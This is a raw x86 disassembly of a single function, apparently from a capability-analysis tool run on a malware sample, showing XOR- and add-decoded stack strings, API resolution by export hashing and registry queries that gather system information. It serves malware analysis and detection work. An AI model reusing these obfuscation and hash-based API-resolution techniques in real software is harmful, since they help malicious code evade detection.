Function at 0x421192
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x5ec
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x5c], 0xb6d0e6df
push edi
mov dword [esp + 0x64], 0x1306ff11
mov edx, 0xff
mov dword [esp + 0x68], 0xffdca0a3
mov ecx, ebx
mov dword [esp + 0x6c], 0xe2b6fb02
mov dword [esp + 0x70], 0xaf7f905
mov dword [esp + 0x74], 0xd00405ff
mov byte [esp + 0x78], 0xb6
mov al, byte [esp + ecx + 0x60]
add al, 0x6a
mov byte [esp + ecx + 0x1ac], al
inc ecx
cmp ecx, 0x19
jl 0x4211da
mov byte [esp + 0x1c5], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x1dffb4b7
mov dword [esp + 0x14], 0xbf81c0f
mov dword [esp + 0x18], 0xcae40f17
mov al, byte [esp + ecx + 0x10]
add al, 0x56
mov byte [esp + ecx + 0x144], al
inc ecx
cmp ecx, 0xc
jl 0x42120e
mov dword [esp + 0x28], 0x9f92a0a2
xorps xmm0, xmm0
mov dword [esp + 0x2c], 0x929a8e9b
xor eax, eax
movq xmm1, qword [esp + 0x28]
mov ecx, ebx
punpcklbw xmm1, xmm0
psubw xmm1, xmmword [0x428f70]
pand xmm1, xmmword [0x428fb0]
mov dword [esp + 0x3c], 0x95b9f0f7
mov dword [esp + 0x40], 0x8e8f8a97
mov dword [esp + 0x44], 0x9bb4889f
mov dword [esp + 0x48], 0xdac09f97
movups xmm0, xmmword [esp + 0x3c]
push 0x62
movups xmmword [esp + 0x16c], xmm1
mov byte [esp + 0x154], bl
movaps xmm1, xmmword [0x429010]
pxor xmm1, xmm0
mov word [esp + 0x17c], ax
movups xmmword [esp + 0x158], xmm1
mov byte [esp + 0x168], bl
mov dword [esp + 0x14], 0xe0b0d01
mov dword [esp + 0x18], 0x10031213
mov dword [esp + 0x1c], 0x30bff0c
pop esi
movzx eax, byte [esp + ecx + 0x10]
add ax, si
and ax, dx
mov word [esp + ecx*2 + 0x1c8], ax
inc ecx
cmp ecx, 0xc
jl 0x4212c3
xor eax, eax
mov dword [esp + 0xc8], 0x3d11d8db
mov word [esp + 0x1e0], ax
mov ecx, ebx
mov dword [esp + 0xcc], 0x40423c43
mov dword [esp + 0xd0], 0x49ee0847
mov dword [esp + 0xd4], 0x3c433d31
mov dword [esp + 0xd8], 0x4b474042
mov dword [esp + 0xdc], 0x3d1ad8db
mov dword [esp + 0xe0], 0x37422f31
mov dword [esp + 0xe4], 0xee083c3d
mov dword [esp + 0xe8], 0x313d3a49
mov dword [esp + 0xec], 0x3d37422f
mov dword [esp + 0xf0], 0xd8db4b3c
mov dword [esp + 0xf4], 0xee3e3728
mov dword [esp + 0xf8], 0x33323d31
mov dword [esp + 0xfc], 0x4849ee08
mov dword [esp + 0x100], 0x3d313e37
mov dword [esp + 0x104], 0xdb4b3332
mov dword [esp + 0x108], 0x3b3722d8
mov dword [esp + 0x10c], 0x3c3d2833
mov dword [esp + 0x110], 0x49ee0833
mov dword [esp + 0x114], 0x333b3742
mov dword [esp + 0x118], 0x333c3d48
mov dword [esp + 0x11c], 0x16d8db4b
mov dword [esp + 0x120], 0x8121725
mov byte [esp + 0x124], 0xee
mov al, byte [esp + ecx + 0xc8]
add al, 0x32
mov byte [esp + ecx + 0x250], al
inc ecx
cmp ecx, 0x5d
jl 0x4213ed
mov byte [esp + 0x2ad], bl
mov ecx, ebx
mov dword [esp + 0x3c], 0x21175e59
mov dword [esp + 0x40], 0x3a312626
mov dword [esp + 0x44], 0x35387420
mov dword [esp + 0x48], 0x3521333a
mov dword [esp + 0x4c], 0x746e3133
mov al, byte [esp + ecx + 0x3c]
xor al, 0x54
mov byte [esp + ecx + 0x17c], al
inc ecx
cmp ecx, 0x14
jl 0x421434
mov byte [esp + 0x190], bl
mov ecx, ebx
mov dword [esp + 0x50], 0xb484ddda
mov dword [esp + 0x54], 0xb9b2b2a5
mov dword [esp + 0x58], 0xb2adbe84
mov word [esp + 0x5c], 0xf7ed
mov al, byte [esp + ecx + 0x50]
xor al, 0xd7
mov byte [esp + ecx + 0x3c], al
inc ecx
cmp ecx, 0xe
jl 0x42146f
mov byte [esp + 0x4a], bl
mov ecx, ebx
mov dword [esp + 0x12c], 0xf54839f5
mov byte [esp + 0x130], 0x39
movzx eax, byte [esp + ecx + 0x12c]
add ax, 0x30
and ax, dx
mov word [esp + ecx*2 + 0x50], ax
inc ecx
cmp ecx, 5
jl 0x421498
push 0x7c
xor eax, eax
mov dword [esp + 0x14], 0x36094c4b
pop edx
mov word [esp + 0x5a], ax
mov ecx, ebx
mov dword [esp + 0x14], 0x32273423
mov dword [esp + 0x18], 0x6628292f
mov dword [esp + 0x1c], 0x32353f15
mov word [esp + 0x20], 0x2b23
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x66
mov al, byte [esp + ecx + 0x10]
xor al, 0x46
mov byte [esp + ecx + 0x194], al
inc ecx
cmp ecx, 0x14
jl 0x4214ee
mov byte [esp + 0x1a8], bl
mov ecx, ebx
mov dword [esp + 0x9c], 0x9a8c9599
mov esi, 0xff
mov dword [esp + 0xa0], 0x8b98879d
mov dword [esp + 0xa4], 0xa9af93a2
mov dword [esp + 0xa8], 0xb5b9b5b8
mov dword [esp + 0xac], 0x9da2baac
mov dword [esp + 0xb0], 0xb5aab4af
mov dword [esp + 0xb4], 0x9466b9bd
mov dword [esp + 0xb8], 0xbb89a29a
mov dword [esp + 0xbc], 0xb4abb8b8
mov dword [esp + 0xc0], 0xb8ab9cba
mov dword [esp + 0xc4], 0xb4b5afb9
movzx eax, byte [esp + ecx + 0x9c]
sub ax, 0x46
and ax, si
mov word [esp + ecx*2 + 0xc8], ax
inc ecx
cmp ecx, 0x2c
jl 0x421588
xor eax, eax
mov dword [esp + 0x28], 0xe8f3f6d4
mov word [esp + 0x120], ax
mov ecx, ebx
mov dword [esp + 0x2c], 0xd2f8e7f9
mov word [esp + 0x30], 0xf1e5
mov byte [esp + 0x32], 0xe9
movzx eax, byte [esp + ecx + 0x28]
add ax, dx
and ax, si
mov word [esp + ecx*2 + 0x60], ax
inc ecx
cmp ecx, 0xb
jl 0x4215cd
xor eax, eax
mov dword [esp + 0x7c], 0x17101710
mov word [esp + 0x76], ax
mov ecx, ebx
mov word [esp + 0x80], 0x6b5c
mov byte [esp + 0x82], dl
mov word [esp + 0x83], 0x7174
mov byte [esp + 0x85], dl
mov dword [esp + 0x86], 0x3d78717f
mov dword [esp + 0x8a], 0x7f647856
mov byte [esp + 0x8e], 0x72
mov byte [esp + 0x8f], dl
mov word [esp + 0x90], 0x796f
mov byte [esp + 0x92], 0x51
mov byte [esp + 0x93], dl
mov dword [esp + 0x94], 0x69687264
mov word [esp + 0x98], 0x276e
mov byte [esp + 0x9a], 0x3d
mov al, byte [esp + ecx + 0x7c]
xor al, 0x1d
mov byte [esp + ecx + 0x9c], al
inc ecx
cmp ecx, 0x1f
jl 0x421671
push 0x62
pop eax
mov byte [esp + 0xbb], bl
mov ecx, ebx
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x5f
mov byte [esp + 0x12], al
mov dword [esp + 0x13], 0xc7b69d5f
mov dword [esp + 0x17], 0xc7b6ccb9
mov dword [esp + 0x1b], 0x758fc8ba
mov byte [esp + 0x1f], al
mov dword [esp + 0x20], 0xaaa5985f
mov word [esp + 0x24], 0x758f
mov al, byte [esp + ecx + 0x10]
sub al, 0x55
mov byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 0x16
jl 0x4216c8
mov byte [esp + 0x92], bl
mov ecx, ebx
mov dword [esp + 0x10], 0xeee9e3c9
mov dword [esp + 0x14], 0xf4d3f7ff
mov dword [esp + 0x18], 0xf7e8f5fc
mov dword [esp + 0x1c], 0xf5f3eefb
mov dword [esp + 0x20], 0xe2eeb4f4
mov byte [esp + 0x24], 0xee
mov al, byte [esp + ecx + 0x10]
xor al, 0x9a
movzx eax, al
mov word [esp + ecx*2 + 0x1e4], ax
inc ecx
cmp ecx, 0x15
jl 0x42170e
xor eax, eax
mov word [esp + 0x20e], ax
movzx eax, word [0x42bc18]
or eax, 0xadba70bd
push 0x2000
mov dword [0x42bc20], eax
call fcn.0040570b
movzx edx, word [0x42bc18]
lea edi, [esp + 0x14]
mov ebp, eax
mov dword [esp + 0x2c], 0x90612df
xor eax, eax
mov dword [esp + 0x30], 0xfe0abd01
stosd dword es:[edi], eax
xor edx, 0x9c8a7f69
pop ecx
add edx, 0x6b7dddf8
mov dword [esp + 0x30], 0xbdd7080f
mov ecx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [0x42bc10]
xor eax, 0xbacd
imul eax, eax, 0x7248
movzx esi, ax
and esi, 0x89663798
mov al, byte [esp + ecx + 0x28]
add al, 0x63
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 0xc
jl 0x42179c
mov byte [esp + 0x138], bl
mov ecx, ebx
mov word [esp + 0x34], 0x4245
mov al, byte [esp + ecx + 0x34]
sub al, 0x38
mov byte [esp + ecx + 0x38], al
inc ecx
cmp ecx, 2
jl 0x4217bf
imul eax, edx, 0xc3dd
lea ecx, [esp + 0x10]
xor edx, 0xc77ac22c
mov byte [esp + 0x3a], bl
mov dword [0x42bc10], edx
or edi, 0xffffffff
or esi, 0xd71a
push edi
mov word [0x42bc24], ax
imul eax, edx, 0xcb34caab
lea edx, [esp + 0x130]
mov word [0x42bc18], si
mov dword [0x42bc20], eax
call fcn.00423aea
pop ecx
movzx ecx, word [0x42bc18]
mov eax, 0x92
imul ecx, eax
mov edx, str.gorka
imul eax, dword [0x42bc20], 0x27798dad
push edi
mov word [0x42bc24], cx
lea ecx, [esp + 0x14]
sub eax, 0x1b69143
mov dword [0x42bc10], eax
call fcn.00423aea
movzx eax, word [0x42bc18]
lea edx, [esp + 0x3c]
pop ecx
xor eax, 0x9c0a5a3c
lea ecx, [esp + 0x10]
push edi
mov dword [0x42bc10], eax
call fcn.00423aea
mov ax, word [0x42bc24]
lea edx, [esp + 0x1b0]
pop ecx
mov ecx, 0x38ce
sub ax, cx
lea ecx, [esp + 0x10]
push edi
mov word [0x42bc18], ax
call fcn.00423aea
mov eax, dword [0x42bc20]
mov esi, 0x1000
pop ecx
push esi
xor ecx, ecx
and eax, 0x67a1
push ebp
push ebx
mov edx, 0xe718270b
mov word [0x42bc18], ax
inc ecx
call fcn.0041568d
call eax
test eax, eax
je 0x4218f8
mov ecx, dword [0x42bc20]
mov edx, ebp
mov eax, ecx
xor eax, 0xd7dfccd6
mov dword [0x42bc10], eax
lea eax, [ecx - 0x79c7]
mov word [0x42bc18], ax
lea ecx, [esp + 0x10]
mov eax, 0x38d1
add word [0x42bc24], ax
call fcn.004230c9
movzx eax, word [0x42bc18]
lea edx, [esp + 0x144]
sub eax, 0x18acc548
lea ecx, [esp + 0x10]
push edi
mov dword [0x42bc20], eax
call fcn.00423aea
movzx eax, word [0x42bc24]
pop ecx
or eax, 0x2844acd7
xor ecx, ecx
push esi
mov dword [0x42bc20], eax
mov esi, 0x1a52823b
lea eax, [esp + 0x16c]
mov edx, esi
push ebp
push eax
inc ecx
call fcn.0041568d
call eax
test eax, eax
je 0x421976
movzx ecx, word [0x42bc24]
mov eax, 0x8a05
or dword [0x42bc20], 0xbacc9488
mov edx, ebp
imul ecx, eax
mov word [0x42bc18], cx
lea ecx, [esp + 0x10]
call fcn.004230c9
movzx eax, word [0x42bc24]
lea edx, [esp + 0x154]
and eax, 0x71530e3f
lea ecx, [esp + 0x10]
push edi
mov dword [0x42bc20], eax
call fcn.00423aea
mov eax, 0xf5ff
mov dword [esp], 0x1000
xor ax, word [0x42bc24]
mov ecx, 0x614e
or ax, cx
mov edx, esi
mov word [0x42bc18], ax
xor ecx, ecx
mov eax, dword [0x42bc10]
inc ecx
or eax, 0xaba1a31e
mov dword [0x42bc20], eax
lea eax, [esp + 0x1cc]
push ebp
push eax
call fcn.0041568d
call eax
test eax, eax
je 0x421a17
mov ax, word [0x42bc18]
mov ecx, 0xd7fd
sub dword [0x42bc20], 0x83b7d8c
add ax, cx
mov word [0x42bc18], ax
lea ecx, [esp + 0x10]
movzx eax, ax
mov edx, ebp
xor eax, 0x5de8e3db
mov dword [0x42bc10], eax
call fcn.004230c9
mov eax, dword [0x42bc10]
lea edx, [esp + 0x250]
or eax, 0xea77
lea ecx, [esp + 0x10]
mov word [0x42bc18], ax
mov eax, 0xd2a5
add word [0x42bc24], ax
push edi
call fcn.00423aea
movzx eax, word [0x42bc18]
imul eax, eax, 0xf4e4aed
pop ecx
push edi
push ecx
sub eax, 0x6919976f
mov dword [0x42bc20], eax
call fcn.004207ab
pop ecx
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.00423aea
movzx eax, word [0x42bc24]
lea edx, [esp + 0x180]
imul eax, eax, 0xcb5b1d95
pop ecx
push edi
lea ecx, [esp + 0x14]
mov dword [0x42bc20], eax
call fcn.00423aea
imul eax, dword [0x42bc10], 0x818a49ad
mov edx, 0x5b5926c8
pop ecx
push ebx
push 5
pop ecx
mov dword [0x42bc20], eax
call fcn.0041568d
call eax
mov ecx, dword [0x42bc20]
mov edx, 0x276dcf3
add ecx, 0xfffff522
movzx eax, ax
mov word [0x42bc18], cx
movzx ecx, cx
sub ecx, 0x101dda96
push 0x1000
mov dword [0x42bc10], ecx
xor ecx, ecx
push ebp
push 2
push eax
inc ecx
call fcn.0041568d
call eax
test eax, eax
je 0x421b36
imul eax, dword [0x42bc20], 0x3f9f
mov edx, ebp
movzx ecx, word [0x42bc10]
mov word [0x42bc18], ax
lea eax, [ecx - 0x2b64]
or ecx, 0x92ba
movzx eax, ax
and eax, 0x47b56a05
mov word [0x42bc24], cx
lea ecx, [esp + 0x10]
mov dword [0x42bc20], eax
call fcn.004230c9
imul eax, dword [0x42bc10], 0xf2119def
lea edx, [esp + 0x3c]
push edi
lea ecx, [esp + 0x14]
mov dword [0x42bc20], eax
call fcn.00423aea
imul eax, dword [0x42bc10], 0x1c0e9e19
mov esi, 0xa499d7b7
pop ecx
push 1
push 5
mov edx, esi
mov dword [0x42bc10], eax
xor eax, 0xc994
mov word [0x42bc24], ax
mov eax, 0x7a0d
xor word [0x42bc18], ax
pop ecx
call fcn.0041568d
call eax
push eax
push ebx
push 5
mov edx, esi
pop ecx
call fcn.0041568d
call eax
push eax
lea eax, [esp + 0x58]
mov edx, 0xe3740fb6
push eax
push 0x1000
push ebp
xor ecx, ecx
call fcn.0041568d
call eax
mov ax, word [0x42bc24]
mov ecx, 0x2df4
add esp, 0x14
sub ax, cx
mov edx, ebp
mov word [0x42bc18], ax
lea ecx, [esp + 0x10]
call fcn.004230c9
mov eax, 0x50e9
lea edx, [esp + 0x194]
and word [0x42bc24], ax
lea ecx, [esp + 0x10]
push edi
call fcn.00423aea
mov ax, word [0x42bc18]
lea edx, [esp + 0xcc]
mov ecx, 0x22c2
mov dword [esp], 0x2000
xor ax, cx
mov ecx, 0x80000002
mov word [0x42bc18], ax
movzx eax, ax
imul eax, eax, 0xd4bfd660
push ebp
mov dword [0x42bc10], eax
lea eax, [esp + 0x68]
push eax
call fcn.00422fa1
add esp, 0xc
test al, al
je 0x421e2a
movzx eax, word [0x42bc18]
lea ecx, [esp + 0x10]
add eax, 0x4b6a5bb5
mov edx, ebp
mov dword [0x42bc20], eax
mov eax, 0x74c2
add ax, word [0x42bc24]
mov word [0x42bc18], ax
mov eax, dword [0x42bc10]
or eax, 0x694d
mov word [0x42bc24], ax
movzx eax, ax
add eax, 0x4dc04ac7
mov dword [0x42bc10], eax
call fcn.004230c9
movzx eax, word [0x42bc18]
mov edx, 0xd226977
movzx ecx, word [0x42bc24]
xor eax, 0xe5bf89c8
xor ecx, 0xca2c2308
mov dword [0x42bc20], eax
imul eax, ecx, 0x7941
mov dword [0x42bc10], ecx
mov dword [esp + 0x12c], ebx
add eax, 0xd4a
mov word [0x42bc24], ax
lea eax, [ecx + 0x1aa1]
xor ecx, ecx
mov word [0x42bc18], ax
inc ecx
call fcn.0041568d
mov edx, dword [0x42bc20]
mov esi, eax
mov ecx, edx
or ecx, 0xe444
mov word [0x42bc24], cx
test esi, esi
je 0x421d32
mov eax, 0x720e
or edx, 0xaa9a87ab
and word [0x42bc18], ax
xor ecx, ecx
lea eax, [esp + 0x12c]
mov dword [0x42bc10], edx
push eax
mov edx, 0x24526977
inc ecx
call fcn.0041568d
call eax
push eax
call esi
mov edx, dword [0x42bc20]
cmp dword [esp + 0x12c], ebx
je 0x421d75
mov ax, word [0x42bc18]
mov ecx, 0x1b82
sub ax, cx
mov ecx, dword [0x42bc10]
and ecx, 0x70b5
movzx edx, ax
xor ecx, 0xdab5
mov al, 1
add edx, 0x799742fb
mov word [0x42bc18], cx
mov dword [0x42bc20], edx
jmp 0x421d7e
mov cx, word [0x42bc18]
mov al, bl
lea esi, [edx - 0x6d3f]
xor esi, 0xfd56
mov word [0x42bc24], si
test al, al
je 0x421dd5
push 0x58
pop eax
mov byte [esp + 0x38], al
mov ecx, ebx
mov word [esp + 0x39], 0x6eb0
mov byte [esp + 0x3b], 0x6c
mov al, byte [esp + ecx + 0x38]
sub al, 0x38
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 4
jl 0x421daa
movzx eax, si
or eax, 0xff5ddfef
mov dword [0x42bc10], eax
imul eax, eax, 0xb7cc
mov word [0x42bc18], ax
jmp 0x421e17
mov dword [esp + 0x38], 0x7374b961
mov esi, ebx
mov al, byte [esp + esi + 0x38]
sub al, 0x41
mov byte [esp + esi + 0x28], al
inc esi
cmp esi, 4
jl 0x421ddf
mov eax, 0x18b9
or edx, 0xaca9231e
or cx, ax
mov dword [0x42bc10], edx
movzx eax, cx
or eax, 0x87f2dead
mov word [0x42bc24], cx
mov dword [0x42bc20], eax
push edi
lea edx, [esp + 0x2c]
mov byte [esp + 0x30], bl
lea ecx, [esp + 0x14]
call fcn.00423aea
pop ecx
mov eax, 0x497c
lea edx, [esp + 0x9c]
add word [0x42bc24], ax
lea ecx, [esp + 0x10]
movzx eax, word [0x42bc18]
add eax, 0x6e7a59ab
push edi
mov dword [0x42bc10], eax
call fcn.00423aea
imul eax, dword [0x42bc20], 0x7a145cfd
mov edx, 0xf2fdc9f0
pop ecx
push ebx
push ebx
push 5
pop ecx
mov dword [0x42bc20], eax
call fcn.0041568d
call eax
mov edx, 0x7834
mov ecx, 0xe7d3
or dx, word [0x42bc24]
mov edi, eax
movzx eax, word [0x42bc24]
movzx edx, dx
add eax, 0x37b153d2
imul edx, ecx
mov word [0x42bc18], dx
test edi, edi
je 0x42203d
mov ecx, dword [0x42bc10]
imul eax, eax, 0x7e8a84e
and ecx, 0x3460
mov word [0x42bc24], cx
mov dword [0x42bc20], eax
lea eax, [ecx - 0x536]
mov word [0x42bc18], ax
mov eax, edi
shl eax, 2
push eax
call fcn.0040570b
mov edx, dword [0x42bc10]
mov esi, eax
mov eax, dword [0x42bc20]
add edx, 0xfffffbfd
mov dword [esp + 0x130], esi
mov word [0x42bc18], dx
pop ecx
test esi, esi
je 0x42203d
movzx ecx, word [0x42bc24]
add eax, 0x44d3
imul ecx, ecx, 0xd18b333b
mov edx, 0xf2fdc9f0
push esi
push edi
push 5
mov word [0x42bc18], ax
mov dword [0x42bc10], ecx
pop ecx
call fcn.0041568d
call eax
movzx eax, word [0x42bc18]
mov esi, ebx
sub eax, 0x66b3eb85
mov dword [0x42bc20], eax
test edi, edi
je 0x422015
movzx ecx, word [0x42bc10]
mov edx, 0x276dcf3
imul eax, ecx, 0xb7d0
xor ecx, 0xf0c3
push 0x1000
mov word [0x42bc24], cx
xor ecx, ecx
push ebp
push 2
mov word [0x42bc18], ax
inc ecx
mov eax, dword [esp + 0x138]
movzx eax, word [eax + esi*4]
push eax
call fcn.0041568d
call eax
test eax, eax
je 0x42200c
mov word [esp + 0x34], 0xded9
mov ecx, ebx
mov al, byte [esp + ecx + 0x34]
xor al, 0xd4
mov byte [esp + ecx + 0x38], al
inc ecx
cmp ecx, 2
jl 0x421fa6
mov eax, dword [0x42bc20]
lea edx, [esp + 0x38]
add dword [0x42bc10], 0x711cbcf7
lea ecx, [esp + 0x10]
xor eax, 0xd160
mov byte [esp + 0x3a], bl
push 0xffffffffffffffff
mov word [0x42bc24], ax
call fcn.00423aea
mov eax, 0xcffe
mov edx, ebp
or word [0x42bc24], ax
movzx eax, word [0x42bc18]
pop ecx
sub eax, 0x52b6d7ce
lea ecx, [esp + 0x10]
mov dword [0x42bc10], eax
call fcn.004230c9
inc esi
cmp esi, edi
jb 0x421f56
mov eax, dword [0x42bc10]
push dword [esp + 0x12c]
or eax, 0x1c490263
mov dword [0x42bc20], eax
call fcn.004056f0
mov eax, dword [0x42bc20]
mov dx, word [0x42bc18]
pop ecx
xor eax, 0x3821fba1
lea ecx, [esp + 0x10]
mov dword [0x42bc20], eax
add eax, 0x4fa41d8a
mov dword [0x42bc10], eax
mov eax, 0xd17
sub dx, ax
mov word [0x42bc24], dx
lea edx, [esp + 0x7c]
push 0xffffffffffffffff
call fcn.00423aea
mov eax, dword [0x42bc10]
pop ecx
add eax, 0x1bb8
mov ecx, ebp
mov word [0x42bc18], ax
call fcn.00420f8b
movzx eax, word [0x42bc18]
lea ecx, [esp + 0x10]
or dword [0x42bc20], 0xb78a96e3
xor eax, 0xc1108c14
push 0xffffffffffffffff
mov edx, ebp
mov dword [0x42bc10], eax
call fcn.00423aea
movzx eax, word [0x42bc18]
pop ecx
mov ecx, 0x4eb0
mov dword [esp + 0x2b0], 0x348
add ax, cx
mov word [0x42bc18], ax
or eax, 0xea04
movzx edx, ax
mov eax, dword [0x42bc20]
add eax, 0xfdf10f5b
mov word [0x42bc24], dx
or eax, 0x6a03be32
or edx, 0xb53d1abe
push 1
mov dword [0x42bc10], eax
lea eax, [esp + 0x2b4]
push eax
push ebx
push ebx
mov dword [0x42bc20], edx
mov edx, 0xb154ff53
push 5
pop ecx
call fcn.0041568d
call eax
test eax, eax
je 0x4221b4
mov dword [esp + 0x28], 0xf0e7aaad
mov ecx, ebx
mov word [esp + 0x2c], 0x9af5
mov byte [esp + 0x2e], 0x80
mov al, byte [esp + ecx + 0x28]
xor al, 0xa0
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 7
jl 0x422138
mov ecx, dword [0x42bc20]
lea edx, [esp + 0x12c]
imul eax, ecx, 0xfb1f
and ecx, 0xc01000d
or ecx, 0xb1987ae0
mov byte [esp + 0x133], bl
mov dword [0x42bc20], ecx
lea ecx, [esp + 0x10]
push 0xffffffffffffffff
mov word [0x42bc18], ax
call fcn.00423aea
mov eax, 0xfcb9
lea edx, [esp + 0x2f8]
xor word [0x42bc24], ax
imul eax, dword [0x42bc20], 0xaf9a9b61
pop ecx
lea ecx, [esp + 0x10]
mov dword [0x42bc10], eax
call fcn.004230c9
imul eax, dword [0x42bc20], 0x6a13
xor ecx, ecx
mov edx, 0x7065a9c4
mov dword [esp + 0x210], 0x40
inc ecx
mov word [0x42bc18], ax
movzx eax, ax
and eax, 0xec7764c2
mov dword [0x42bc20], eax
lea eax, [esp + 0x210]
push eax
call fcn.0041568d
call eax
test eax, eax
je 0x4222c9
push 0x58
mov dword [esp + 0x2c], 0xe9fab2b5
mov esi, 0xff
mov dword [esp + 0x30], 0xcdc8e2f5
mov word [esp + 0x34], 0x141d
mov byte [esp + 0x36], 0x14
pop ecx
movzx eax, byte [esp + ebx + 0x28]
add ax, cx
and ax, si
mov word [esp + ebx*2 + 0x12c], ax
inc ebx
cmp ebx, 0xb
jl 0x42221f
movzx ecx, word [0x42bc18]
xor eax, eax
push dword [esp + 0x21c]
mov word [esp + 0x146], ax
mov edx, 0xe3740fb6
push dword [esp + 0x21c]
mov eax, 0xe84f
imul ecx, eax
mov eax, dword [0x42bc20]
add eax, 0xffffa3ec
mov word [0x42bc24], ax
lea eax, [esp + 0x134]
push eax
mov word [0x42bc18], cx
xor ecx, ecx
push 0x1000
push ebp
call fcn.0041568d
call eax
movzx eax, word [0x42bc24]
lea ecx, [esp + 0x24]
or eax, 0x96667d8f
add esp, 0x14
mov dword [0x42bc20], eax
mov edx, ebp
add eax, 0xffffd03c
mov word [0x42bc24], ax
movzx eax, ax
and eax, 0x2a4b7c63
mov dword [0x42bc10], eax
call fcn.004230c9
mov eax, dword [0x42bc10]
mov edx, dword [esp + 0x18]
and eax, 0x3f99
mov ecx, dword [esp + 0x10]
mov word [0x42bc18], ax
sub eax, 0xb3a9e33
mov dword [0x42bc10], eax
lea eax, [esp + 0x1e4]
push eax
call fcn.0041e8a4
mov eax, dword [0x42bc10]
add eax, 0x6d42
mov word [0x42bc18], ax
mov eax, dword [0x42bc20]
and eax, 0xbbfb7b2f
pop ecx
mov dword [0x42bc10], eax
mov eax, 0x81b5
xor word [0x42bc24], ax
push ebp
call fcn.004056f0
movzx eax, word [0x42bc18]
pop ecx
push dword [esp + 0x10]
and eax, 0x7ba86673
mov dword [0x42bc20], eax
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5ec
ret